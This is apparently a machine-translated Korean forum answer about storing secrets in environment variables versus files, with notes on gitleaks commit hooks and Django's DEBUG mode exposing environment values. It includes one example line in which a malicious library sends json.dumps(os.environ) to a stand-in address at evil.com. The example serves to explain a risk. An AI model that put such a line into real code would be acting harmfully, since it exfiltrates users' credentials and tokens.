AFAICT, 사람들이 환경 변수에 비밀 저장을 권장하는 두 가지 이유가 있습니다.
- 실수로 비밀 플랫 파일을 저장소에 커밋하는 것은 너무 쉽습니다. (그리고 그것이 공개 저장소라면 건배입니다.)
- 즉, 여러 프로젝트 디렉토리 파일에서 동일한 키를 갖는 것은 개발자가 결국 비밀이있는 위치를 추적하지 못하기 때문에 그 자체로 보안 위험이됩니다.
이 두 가지 문제는 더 나은 방법으로 해결할 수 있습니다. 전자는 암호처럼 보이는 것을 확인하는 git commit hook (예 : gitleaks ) 로 해결해야합니다 . Linus가 그러한 도구를 git 라이브러리의 소스 코드에 빌드했으면 좋겠지 만, 아쉽게도 그렇게되지 않았습니다. (말할 필요도없이 비밀 파일은 항상에 추가되어야 .gitignore
하지만 누군가가 그렇게하는 것을 잊을 경우를 대비하여 후크가 필요합니다.)
후자는 읽기 전용 공유 드라이브에 이상적으로 저장되는 글로벌 회사 비밀 파일을 사용하여 해결할 수 있습니다. 따라서 Python에서는 from company_secrets import *
.
더 중요한 것은 다른 사람들이 지적했듯이 환경 변수에 저장된 비밀을 해킹하기가 너무 쉽다는 것입니다. 예를 들어 Python에서는 라이브러리 작성자가 삽입 send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
할 수 있으며이 코드를 실행하면 건배합니다. 해킹은 시스템에 ~/secret_company_stuff/.my_very_secret_company_stuff
.
Django 사용자 만 해당 :
Django (DEBUG 모드)는 예외가있는 경우 (DEBUG 모드에서) 브라우저에 환경 변수의 원시 값을 표시합니다. 예를 들어 개발자가 실수 DEBUG=True
로 프로덕션에 설정하는 경우 이는 매우 안전하지 않은 것 같습니다 . 반면, 장고는 문자열을보고 난독 암호 설정 변수를합니까 API
, TOKEN
, KEY
, SECRET
, PASS
또는 SIGNATURE
프레임 워크의에서 settings.py
파일의 변수 이름.